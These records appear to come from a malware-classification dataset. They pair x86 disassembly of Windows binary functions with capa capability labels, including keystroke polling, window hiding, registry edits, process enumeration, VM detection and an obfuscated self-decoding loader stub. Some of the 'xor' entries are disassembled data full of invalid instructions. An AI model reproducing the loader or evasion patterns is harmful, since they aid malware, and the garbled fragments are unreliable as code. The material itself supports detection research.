joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477710
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x6cdec0]
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x477750
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.00476d00
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret

Function at 0x477b00
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x6cdec0]
mov edi, dword [ebp + 8]
test eax, eax
je 0x477bdc
mov ecx, dword [eax + 0x30]
test ecx, ecx
js 0x477bf1
mov edx, dword [eax + 0x30]
test edx, edx
jne 0x477bb0
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea ebx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x477b48
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
xor ecx, ecx
test eax, eax
mov edx, 5
je 0x477b58
mov ecx, dword [eax + 0x18]
xor edx, edx
cmp edx, 5
je 0x477ba3
test edx, edx
jne 0x477b96
test ecx, ecx
je 0x477b40
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call ecx
cmp eax, 6
je 0x477c00
cmp eax, 8
je 0x477b40
mov eax, 3
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x477b32
call fcn.00476dd0
mov eax, dword [0x6cdec0]
mov ecx, dword [eax + 0x30]
test ecx, ecx
jns 0x477b24
call fcn.00477770
mov eax, dword [0x6cdec0]
jmp 0x477b24
mov dword [edi + 0xc], 0
mov eax, dword [ebp - 0x14]
mov edx, ebx
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, edi
call fcn.00477a70
cmp eax, 7
jne 0x477b9b
mov eax, dword [0x6cdec0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x477c53
mov edi, dword [eax + 0x30]
test edi, edi
js 0x477c7e
mov esi, dword [eax + 0x30]
test esi, esi
jne 0x477c5f
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call fcn.00476dd0
mov eax, dword [0x6cdec0]
jmp 0x477c31
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x477c42
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x477c42
call fcn.00477770
mov eax, dword [0x6cdec0]
jmp 0x477c38
Function at 0x477ee0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x6cdec0]
mov edi, dword [ebp + 8]
test eax, eax
je 0x477f74
mov esi, dword [eax + 0x30]
test esi, esi
js 0x477f90
mov ebx, dword [eax + 0x30]
test ebx, ebx
jne 0x477fb0
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
mov ecx, dword [edi + 0xc]
mov dword [ebp - 0x14], eax
test ecx, ecx
jne 0x477f68
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00477a70
cmp eax, 7
jne 0x47802f
mov eax, dword [0x6cdec0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x478006
mov edx, dword [eax + 0x30]
test edx, edx
js 0x478020
mov edi, dword [eax + 0x30]
test edi, edi
jne 0x477fe0
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00477c90
jmp 0x477f25
call fcn.00476dd0
mov eax, dword [0x6cdec0]
mov esi, dword [eax + 0x30]
test esi, esi
jns 0x477f00
lea esi, [esi]
call fcn.00477770
mov eax, dword [0x6cdec0]
mov ebx, dword [eax + 0x30]
test ebx, ebx
je 0x477f0b
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x477f0e
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x477f57
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x477f57
call fcn.00476dd0
mov eax, dword [0x6cdec0]
mov edx, dword [eax + 0x30]
test edx, edx
jns 0x477f49
nop
lea esi, [esi]
call fcn.00477770
mov eax, dword [0x6cdec0]
jmp 0x477f49
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]
Function at 0x478040
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov esi, dword [edi + 0xc]
test esi, esi
je 0x4780d2
mov eax, dword [0x6cdec0]
test eax, eax
je 0x4780c6
mov ebx, dword [eax + 0x30]
test ebx, ebx
js 0x478141
mov ecx, dword [eax + 0x30]
test ecx, ecx
jne 0x4780e7
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, edi
call fcn.00477c90
cmp eax, 7
jne 0x47815f
mov eax, dword [0x6cdec0]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x478132
mov edx, dword [eax + 0x30]
test edx, edx
js 0x478150
mov edi, dword [eax + 0x30]
test edi, edi
jne 0x478113
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call fcn.00476dd0
mov eax, dword [0x6cdec0]
jmp 0x478062
mov dword [esp], edi
call fcn.00477b00
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov ebx, dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, ebx
sub esp, 4
jmp 0x478077
mov eax, dword [eax + 0x2c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x4780b5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x4780b5
call fcn.00476dd0
mov eax, dword [0x6cdec0]
jmp 0x4780a0
call fcn.00477770
mov eax, dword [0x6cdec0]
jmp 0x47806d
call fcn.00477770
mov eax, dword [0x6cdec0]
jmp 0x4780ab
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]
Function at 0x4957b7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, dword [ebp + 8]
push dword [ebx + 0x80]
call sub.USER32.dll_GetWindowTextLengthW
add eax, 1
push eax
push 0x4e9212
call fcn.0046f631
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
mov eax, dword [ebp - 4]
lea eax, [eax + 0x18]
push eax
push dword [ebx + 0x80]
call sub.USER32.dll_GetWindowTextW
mov eax, dword [ebp - 4]
lea eax, [eax + 0x18]
push eax
call fcn.00470b1a
add esp, 4
jmp 0x495809
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49586e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp eax, 0
je 0x49588c
push 5
push dword [ebx + 0x80]
call sub.USER32.dll_ShowWindow
jmp 0x4958cb
mov eax, dword [ebx + 0xc]
cmp eax, 0x4d05a0
setne al
movzx eax, al
cmp eax, 0
je 0x4958ae
call fcn.0048f3be
push eax
push ebx
mov eax, dword [ebx]
call dword [eax + 0x34]
add esp, 8
cmp eax, 0
je 0x4958be
push dword [ebx + 0xc]
call fcn.0048f39f
add esp, 4
push 0
push dword [ebx + 0x80]
call sub.USER32.dll_ShowWindow
mov eax, 0
jmp 0x4958d2
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a0f23
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, 0
push 0x10
call sub.USER32.dll_GetKeyState
and eax, 0x8000
cmp eax, 0
je 0x4a0f40
or ebx, 1
push 0x11
call sub.USER32.dll_GetKeyState
and eax, 0x8000
cmp eax, 0
je 0x4a0f54
or ebx, 2
push 0x12
call sub.USER32.dll_GetKeyState
and eax, 0x8000
cmp eax, 0
je 0x4a0f68
or ebx, 4
push 0x5b
call sub.USER32.dll_GetKeyState
and eax, 0x8000
cmp eax, 0
jne 0x4a0f85
push 0x5c
call sub.USER32.dll_GetKeyState
and eax, 0x8000
cmp eax, 0
je 0x4a0f8d
or ebx, 8
mov eax, ebx
jmp 0x4a0f91
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4aebec
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
push eax
push edx
call fcn.004af2e3
add esp, 8
mov edi, eax
mov dword [ebp - 4], 0
cmp edi, 0xffffffff
je 0x4aec51
push ebx
call fcn.0047154c
add esp, 4
mov esi, eax
push esi
push edi
call sub.ADVAPI32.DLL_RegDeleteValueA
mov ebx, eax
push esi
call fcn.00471fe4
add esp, 4
mov eax, ebx
cmp eax, 0
jne 0x4aec43
mov dword [ebp - 4], 1
jmp 0x4aec48
mov dword [0x4f05b4], eax
push edi
call fcn.004af35e
add esp, 4
mov eax, dword [ebp - 4]
jmp 0x4aec56
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4af03f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push eax
push edx
call fcn.004af2e3
add esp, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 8], 0xffffffff
je 0x4af20e
mov dword [ebp - 4], 0x4d05a0
mov eax, dword [ebp + 0x18]
cmp eax, 1
je 0x4af098
cmp eax, 2
je 0x4af098
cmp eax, 3
je 0x4af098
cmp eax, 7
je 0x4af0dc
cmp eax, 4
je 0x4af189
jmp 0x4af1b1
mov eax, dword [ebp + 0x14]
push dword [eax + 8]
call fcn.0047c917
add esp, 4
mov dword [ebp - 4], eax
mov esi, 0
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax + 8]
sub ebx, 1
jmp 0x4af0d3
mov eax, dword [ebp + 0x14]
movzx eax, word [eax + esi*2 + 0xc]
mov eax, eax
push eax
push esi
push dword [ebp - 4]
call fcn.0047ca64
add esp, 0xc
add esi, 1
cmp esi, ebx
jle 0x4af0b9
jmp 0x4af1b1
push dword [ebp + 0x14]
call fcn.0047154c
add esp, 4
mov edi, eax
mov ebx, 0x400
mov esi, 0
push ebx
call fcn.0047c917
add esp, 4
mov dword [ebp - 4], eax
mov eax, esi
add eax, 1
cmp eax, ebx
jle 0x4af116
add ebx, ebx
push ebx
push dword [ebp - 4]
call fcn.0047c9e7
add esp, 8
movzx eax, byte [edi + esi]
mov eax, eax
push eax
call fcn.004708c9
add esp, 4
push eax
call fcn.0047101b
add esp, 4
push eax
push esi
push dword [ebp - 4]
call fcn.0047ca64
add esp, 0xc
add esi, 1
mov eax, dword [ebp + 0x14]
cmp esi, dword [eax + 8]
setge al
movzx eax, al
cmp eax, 0
je 0x4af163
mov eax, esi
sub eax, 1
movzx eax, byte [edi + eax]
mov eax, eax
cmp eax, 0
sete al
movzx eax, al
cmp eax, 0
je 0x4af0ff
push 0
push esi
push dword [ebp - 4]
call fcn.0047ca64
add esp, 0xc
mov eax, esi
add eax, 1
push eax
push dword [ebp - 4]
call fcn.0047c9e7
add esp, 8
jmp 0x4af1b1
push 4
call fcn.0047c917
add esp, 4
mov dword [ebp - 4], eax
push dword [ebp + 0x14]
call fcn.00471081
add esp, 4
push eax
push 0
push dword [ebp - 4]
call fcn.0047cada
add esp, 0xc
jmp 0x4af1b1
push dword [ebp + 0x10]
call fcn.0047154c
add esp, 4
mov ebx, eax
push dword [ebp - 4]
call fcn.0047c9bd
add esp, 4
push eax
push dword [ebp - 4]
call fcn.0047c979
add esp, 4
push eax
push dword [ebp + 0x18]
push 0
push ebx
push dword [ebp - 8]
call sub.ADVAPI32.DLL_RegSetValueExA
mov esi, eax
push ebx
call fcn.00471fe4
add esp, 4
cmp esi, 0
jne 0x4af1fd
mov dword [ebp - 0xc], 1
jmp 0x4af203
mov dword [0x4f05b4], esi
push dword [ebp - 8]
call fcn.004af35e
add esp, 4
mov eax, dword [ebp - 0xc]
jmp 0x4af213
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4af593
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
mov esi, 0x64
mov dword [ebp - 4], 0
add esi, 0x64
push esi
call fcn.00471fc0
add esp, 4
mov ebx, eax
lea eax, [ebp - 4]
push eax
push esi
push ebx
call sub.PSAPI.DLL_EnumProcesses
cmp eax, 0
jne 0x4af5d5
push ebx
call fcn.00471fe4
add esp, 4
mov eax, 0x4ce4c0
jmp 0x4af613
cmp esi, dword [ebp - 4]
jle 0x4af5a7
mov eax, dword [ebp - 4]
cdq
and edx, 3
add eax, edx
sar eax, 2
push eax
push 0x4f0612
call fcn.0046f631
add esp, 8
mov esi, eax
push dword [ebp - 4]
push ebx
lea eax, [esi + 0x18]
push eax
call fcn.0047200e
add esp, 0xc
push ebx
call fcn.00471fe4
add esp, 4
mov eax, esi
jmp 0x4af613
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4134f7
Capabilities:
Encode data using xor

Disassembly:
mov edi, dword [esp + 0x18]
add ebx, ebp
mov ebp, dword [esp]
push 0xb8820feb
cmp byte [eax - 0x47ff1700], 0
add dword [esi], edi
add byte [ecx], dh
cmp dword [ebx], ebp
dec esp
and al, 0x20

Function at 0x4144e0
Capabilities:
Encode data using xor

Disassembly:
adc byte [eax], al
add bh, cl
les ecx, [eax]
cmp al, 6
mov eax, dword [ebp]
test eax, eax
je 0x4144fd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
popal
inc dword [eax]
add byte [eax], al
add byte [eax], al
mov eax, dword [ebx]
test dword [edx - 0xaff28c], eax
adc eax, 0x4ed7a4
mov dword [ebx], 0
xor esi, ebp

Function at 0x41bd00
Capabilities:
Encode data using xor

Disassembly:
std
add cl, byte [edi]
test dword [eax - 0x44ffffff], esi
push eax
pushfd
sbb al, 0
mov eax, str.ALSO__that_key_does_not_match_the_key__s_had_previously_cached_for_this_server.
jmp 0x420389
add byte [eax], al
add byte [ebx + 0x4778c144], ch
push esp
rol dword [eax + edx*2], cl
push edx
inc edi
dec esp
invalid

Function at 0x437540
Capabilities:
Encode data using xor

Disassembly:
add al, byte [eax]
add bh, al
movsd dword es:[edi], dword [esi]
and al, 0x1c
add byte [eax], al
add byte [ebx - 0x15], bl
pop esi
retf 0x904a
inc edi
add dword [eax], eax
add byte [eax], al
add byte [esi - 0x6f8d70dc], ch
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
not ecx
xor ebx, ebx
add ebp, edi
invalid
add dword [ecx + 0x1ebf39df], ecx
sub dword [ebp], edi
cmp dword [esp + 0x18], esi
jbe 0x4375ae
mov ecx, dword [esp]
mov eax, dword [eax - 0x4ed3b6fc]
xor ecx, ecx
cmp eax, esi
mov ecx, dword gs:[si + 0x24]
add al, 0x8b
dec ecx
add al, 0x8b
loopne 0x43751c
jmp 0x437525
push 0xee351a
call 0xb247a844
add esp, 0x28
mov dword [ebx + 0x4489d8f7], esi
sal byte [ebx + eax*4], 1
add byte ds:[ebp + ebp + 0x31], dh
shl byte [ebx], 0x90
nop
nop
nop
nop
mov ecx, dword [esi + 4]
mov edx, dword [edi + 4]
mov edi, dword [edi - 0x7eebcc7e]
mov ecx, dword [esp + 0x34]
and ecx, edx
mov edx, dword [esi + 4]
xor dword [edx + esi*8], ecx
mov edx, dword [edi + 4]
xor dword [edx + esi*8], ecx
add eax, 0xfffffffb
cmp eax, dword [esi]
jb 0x4375d0
push eax
push ss
test edx, edx
add esi, dword [ecx + 0x32d1]
mov eax, dword [esp + 0x14]
sbb eax, ebx
mov ecx, dword [esi + 4]
mov dword [esp + 0x10], eax
mov esi, eax
or dword [ecx - 0x767fceff], 0xffffffd0
mov ecx, eax
sbb ah, byte [ebx + ebp*8]
adc dl, byte [eax - 0x6f6f6f70]
xor al, ch
add dword [ebx - 0x74fbdbbc], ecx
add byte [ecx], bh
ljmp 0

Function at 0x48f9b8
Capabilities:
Check for vm using instruction vpcext

Disassembly:
mov edi, edi
push ebp
mov edx, dword [ebx + eax*4 + 0x575620ec]
push 0
invalid
Function at 0x10002b2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x20
pop ebp
jmp fcn.100016da

Function at 0x10006590
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [section..data]
cmp esi, 0xffffffff
jne 0x100065b3
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
mov dword [section..data], eax
cmp eax, 0xffffffff
je 0x100065f6
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push eax
call fcn.1003f437
add esp, 4
mov ebx, dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push esi
call ebx
push 0x14
call fcn.1003f437
add esp, 4
mov edi, eax
push eax
push esi
call ebx
movaps xmm0, xmmword [0x10040c10]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
jmp 0x100065de

Function at 0x100065fa
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
xorps xmm0, xmm0
movups xmmword [esp], xmm0
call fcn.10005b20
sub esp, 0x10
mov esi, dword [section..data]
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
mov dword [esp], eax
call fcn.1003f437
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.kernel32.dll_TlsSetValue]
add esp, 8
pop esi
pop ebp
ret

Function at 0x100066a2
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [section..data]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100066b7
pop ebp
ret
pop ebp
jmp fcn.10006590

Function at 0x10008df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008e1f
shl eax, 4
movsx esi, byte [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
inc edx
cmp ecx, edx
jne 0x10008e01
pop esi
pop edi
pop ebp
ret 8

Function at 0x10008f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008f61
shl eax, 4
movzx esi, word [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
add edx, 2
cmp ecx, edx
jne 0x10008f41
pop esi
pop edi
pop ebp
ret 8
Function at 0x1003f437
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1003f446
pop dword [ebp - 0x14]
mov eax, 0x1003f446
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x97fa795a
sub dword [ebp - 0x24], 0x49a8340f
mov dword [ebp - 0x20], 0x98a1d800
sub dword [ebp - 0x20], 0x666e8bbb
mov dword [ebp - 0x1c], 0x34c51e7d
add dword [ebp - 0x1c], 0x178725b1
mov dword [ebp - 0x18], 0x8bc47684
add dword [ebp - 0x18], 0x743b897c
lea eax, [ebp - 0x24]
push eax
mov eax, 0x8f2cb0c9
add eax, 0x80d81e17
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x6eba4649
sub dword [ebp - 0x24], 0xfa47dcf3
mov dword [ebp - 0x20], 0xdfe7097e
add dword [ebp - 0x20], 0x618557f7
mov dword [ebp - 0x1c], 0x42bacf13
add dword [ebp - 0x1c], 0x20b49d59
mov dword [ebp - 0x18], 0x64fe1235
sub dword [ebp - 0x18], 0x64fe1235
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x1dcbe891
add eax, 0xf238e5f3
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x428c6
push 0
call eax
mov ecx, 0x66ab5bdf
sub ecx, 0x66ab085e
xor edx, edx
add edx, eax
mov ebx, 0x231784fe
add ebx, 0xecee2f02
add ebx, dword [ebp - 0x14]
mov esi, 0x9dafd3ae
add esi, 0x11e9605e
sub dword [ebp - 8], 0x8137f883
mov edi, dword [ebx]
xor dword [ebp - 0x10], ecx
add edi, esi
sub dword [ebp - 0x10], esi
mov dword [edx], edi
sub dword [ebp - 4], eax
add edx, 4
add ebx, 4
loop 0x1003f565
add eax, 0xf71eb986
sub eax, 0xf71d78af
mov ebx, eax
add eax, 0xe5adeb96
add eax, 0x1a52146f
mov ecx, 0x25fd5395
sub ecx, 0x15fd5395
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x405ce0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push ebx
sub esp, 0x14
movzx eax, word [esp + 0x28]
mov ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 6
mov dword [esp + 0xc], eax
mov eax, ebx
mov dword [esp], esi
shr eax, 4
add eax, 1
movzx eax, ax
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
sub esp, 0x10
test eax, eax
je 0x405d70
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
sub esp, 8
test eax, eax
je 0x405d70
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
sub esp, 4
test eax, eax
je 0x405d70
and ebx, 0xf
je 0x405d5e
xor edx, edx
nop
lea esi, [esi]
movzx ecx, word [eax]
add edx, 1
cmp edx, ebx
lea eax, [eax + ecx*2 + 2]
jne 0x405d50
movzx ecx, word [eax]
mov edx, dword [esp + 0x2c]
add eax, 2
mov dword [edx], ecx
add esp, 0x14
pop ebx
pop esi
ret
add esp, 0x14
xor eax, eax
pop ebx
pop esi
ret

Function at 0x40b8d5
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40b910
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40b8f7
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x40b908
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40b912
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40b8ed
xor eax, eax
pop edi
pop esi
ret

Function at 0x40dd00
Capabilities:
Encode data using xor

Disassembly:
push esi
push ebx
xor eax, eax
sub esp, 0x14
mov ebx, dword [esp + 0x20]
mov edx, dword [ebx + 8]
test dl, 1
jne 0x40dd80
mov eax, edx
and eax, 4
je 0x40dd80
and edx, 2
je 0x40dd86
mov eax, dword [ebx + 4]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll__lseek
mov esi, dword [ebx + 0x38]
xor edx, edx
lea ecx, [esi + 0x1fc]
mov eax, esi
mov esi, esi
lea edi, [edi]
xor edx, dword [eax]
add eax, 4
cmp eax, ecx
jne 0x40dd50
mov eax, dword [ebx + 0x24]
mov dword [esi + 0x1fc], edx
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov eax, dword [ebx + 4]
mov dword [esp], eax
call sub.msvcrt.dll__write
cmp eax, dword [ebx + 0x24]
jne 0x40dda8
and dword [ebx + 8], 0xfffffffb
xor eax, eax
add esp, 0x14
pop ebx
pop esi
ret
mov dword [esp + 4], 0x8002
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll__open
test eax, eax
mov dword [ebx + 4], eax
je 0x40dde5
or dword [ebx + 8], 2
jmp 0x40dd22
call dword [sym.imp.msvcrt.dll__errno]
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
mov dword [esp + 4], str.writeHive:_write_of__s_failed:__s._n
mov dword [esp + 8], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call fcn.00413040
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret
call dword [sym.imp.msvcrt.dll__errno]
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
mov dword [esp + 4], str.writeHive:_open__s__failed:__s__FILE_NOT_WRITTEN__n
mov dword [esp + 8], eax
jmp 0x40ddca